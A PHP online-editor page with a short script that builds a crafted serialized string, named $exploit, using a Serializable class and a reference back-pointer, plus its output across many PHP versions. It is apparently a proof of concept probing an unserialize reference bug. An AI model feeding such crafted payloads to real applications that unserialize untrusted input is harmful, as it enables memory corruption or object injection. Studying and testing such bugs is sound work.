Online PHP editor | output for 1Afec

@ 2015-11-03T20:10:49Z

<?php
class obj implements Serializable
{
    public $data;

    public function serialize()
    {
        return serialize($this->data);
    }

    public function unserialize($data)
    {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}';

$data = unserialize($exploit);
var_dump(serialize($data));

Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6: Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/1Afec on line 2 string(38) "a:2:{i:0;C:3:"obj":4:{i:1;}i:1;a:0:{}}"
Output for 5.5.29 - 5.5.35, 5.6.13 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30: string(38) "a:2:{i:0;C:3:"obj":4:{i:1;}i:1;a:0:{}}"
Output for 5.5.24 - 5.5.28, 5.6.8 - 5.6.12: string(34) "a:2:{i:0;C:3:"obj":4:{i:1;}i:1;N;}"

preferences:dark modelive preview